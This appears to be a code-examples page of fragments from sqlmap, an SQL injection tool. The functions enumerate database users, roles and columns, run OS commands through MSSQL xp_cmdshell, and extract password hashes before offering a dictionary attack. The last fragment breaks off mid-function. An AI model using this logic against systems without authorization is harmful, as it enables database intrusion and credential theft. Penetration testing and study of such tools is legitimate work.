        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isFork(FORK.DRIZZLE):
                query = rootQuery.inband.query3
            elif condition:
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                kb.data.cachedUsers = []
                for value in arrayizeValue(values):
                    value = unArrayizeValue(value)
                    if not isNoneValue(value):
                        kb.data.cachedUsers.append(value)

        if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of database users"
            logger.info(infoMsg)

            if Backend.isFork(FORK.DRIZZLE):
                query = rootQuery.blind.count3
            elif condition:
                query = rootQuery.blind.count2
            else:
                query = rootQuery.blind.count

            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedUsers
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of database users"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
                    query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
                elif Backend.isFork(FORK.DRIZZLE):
                    query = rootQuery.blind.query3 % index
                elif condition:
                    query = rootQuery.blind.query2 % index
                else:
                    query = rootQuery.blind.query % index

                user = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if user:
                    kb.data.cachedUsers.append(user)

        if not kb.data.cachedUsers:
            errMsg = "unable to retrieve the database users"
            logger.error(errMsg)

        return kb.data.cachedUsers
Ejemplo n.º 27
0
    def getRoles(self, query2=False):
        infoMsg = "fetching database users roles"

        rootQuery = queries[DBMS.ORACLE].roles

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                          PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                users = conf.user.split(",")
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and not query2:
                infoMsg = "trying with table USER_ROLE_PRIVS"
                logger.info(infoMsg)

                return self.getRoles(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    roles = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the roles
                        else:
                            role = value[count]

                            # In Oracle we get the list of roles as string
                            roles.add(role)

                    if user in kb.data.cachedUsersRoles:
                        kb.data.cachedUsersRoles[user] = list(
                            roles.union(kb.data.cachedUsersRoles[user]))
                    else:
                        kb.data.cachedUsersRoles[user] = list(roles)

        if not kb.data.cachedUsersRoles and isInferenceAvailable(
        ) and not conf.direct:
            if conf.user:
                users = conf.user.split(",")
            else:
                if not len(kb.data.cachedUsers):
                    users = self.getUsers()
                else:
                    users = kb.data.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if user in retrievedUsers:
                    continue

                infoMsg = "fetching number of roles "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if query2:
                    query = rootQuery.blind.count2 % queryUser
                else:
                    query = rootQuery.blind.count % queryUser
                count = inject.getValue(query,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if count != 0 and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "roles for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching roles for user '%s'" % user
                logger.info(infoMsg)

                roles = set()

                indexRange = getLimitRange(count, plusOne=True)

                for index in indexRange:
                    if query2:
                        query = rootQuery.blind.query2 % (queryUser, index)
                    else:
                        query = rootQuery.blind.query % (queryUser, index)
                    role = inject.getValue(query, union=False, error=False)

                    # In Oracle we get the list of roles as string
                    roles.add(role)

                if roles:
                    kb.data.cachedUsersRoles[user] = list(roles)
                else:
                    warnMsg = "unable to retrieve the roles "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersRoles:
            errMsg = "unable to retrieve the roles "
            errMsg += "for the database users"
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersRoles.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return kb.data.cachedUsersRoles, areAdmins
Ejemplo n.º 28
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = "unable to retrieve the current "
                errMsg += "database name"
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.excludeCol:
            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList))

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is %s" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    query = rootQuery.inband.query % tbl

                if dumpMode and colList:
                    values = [(_,) for _ in colList]
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (conf.db, tbl, index)
                        value = unArrayizeValue(inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == " ":
                            break
                        else:
                            values.append((value,))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(values))
                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms()].column_comment
                                    if hasattr(_, "query"):
                                        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
                                        else:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))

                                        comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = "retrieved comment '%s' for column '%s'" % (comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                        warnMsg += "possible to get column comments"
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "
                condQuery = ""

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = "='%s'"
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (conf.db, tbl, index)
                                value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if isNoneValue(value) or value == " ":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(value)] = None
                                    index += 1

                        if not columns:
                            errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "")
                            errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, "query"):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
                                warnMsg += "possible to get column comments"
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
                                                                conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = unArrayizeValue(inject.getValue(query, union=False, error=False))

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = "unable to retrieve column names for "
            warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table "
            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns
Ejemplo n.º 29
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))

            # When user provides DBMS credentials (with --dbms-cred), the
            # command standard output is redirected to a temporary file
            # The file needs to be copied to the support table,
            # 'sqlmapoutput'
            if conf.dbmsCred:
                inject.goStacked(
                    "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
                    % (self.cmdTblName, self.tmpFile, randomStr(10),
                       randomStr(10)))
                self.delRemoteFile(self.tmpFile)

            query = "SELECT %s FROM %s ORDER BY id" % (self.tblField,
                                                       self.cmdTblName)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                output = inject.getValue(query,
                                         resumeValue=False,
                                         blind=False,
                                         time=False)
            else:
                output = []
                count = inject.getValue("SELECT COUNT(id) FROM %s" %
                                        self.cmdTblName,
                                        resumeValue=False,
                                        union=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(
                            inject.getValue(query,
                                            union=False,
                                            error=False,
                                            resumeValue=False))

            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                if not (output[0] or "").strip():
                    output = output[1:]
                elif not (output[-1] or "").strip():
                    output = output[:-1]

                output = "\n".join(line for line in filter(None, output))

        return output
Ejemplo n.º 30
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                values = inject.getValue(query, blind=False, time=False)

                for user, password in filterPairValues(values):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        password = "******" % hexencode(password).upper()

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    user = unArrayizeValue(user)

                    if user in retrievedUsers:
                        continue

                    if Backend.isDbms(DBMS.INFORMIX):
                        count = 1
                    else:
                        infoMsg = "fetching number of password hashes "
                        infoMsg += "for user '%s'" % user
                        logger.info(infoMsg)

                        if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                            query = rootQuery.blind.count2 % user
                        else:
                            query = rootQuery.blind.count % user

                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "unable to retrieve the number of password "
                            warnMsg += "hashes for user '%s'" % user
                            logger.warn(warnMsg)
                            continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            query = rootQuery.blind.query % (user,)
                        else:
                            query = rootQuery.blind.query % (user, index)

                        password = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        password = parsePasswordHash(password)

                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            logger.error(errMsg)
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

            storeHashesToFile(kb.data.cachedUsersPasswords)

            message = "do you want to perform a dictionary-based attack "
            message += "against retrieved password hashes? [Y/n/q]"
            choice = readInput(message, default='Y').upper()

            if choice == 'N':
                pass
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Ejemplo n.º 31
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.isDbms(DBMS.ORACLE):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise sqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise sqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(
                        tbl)
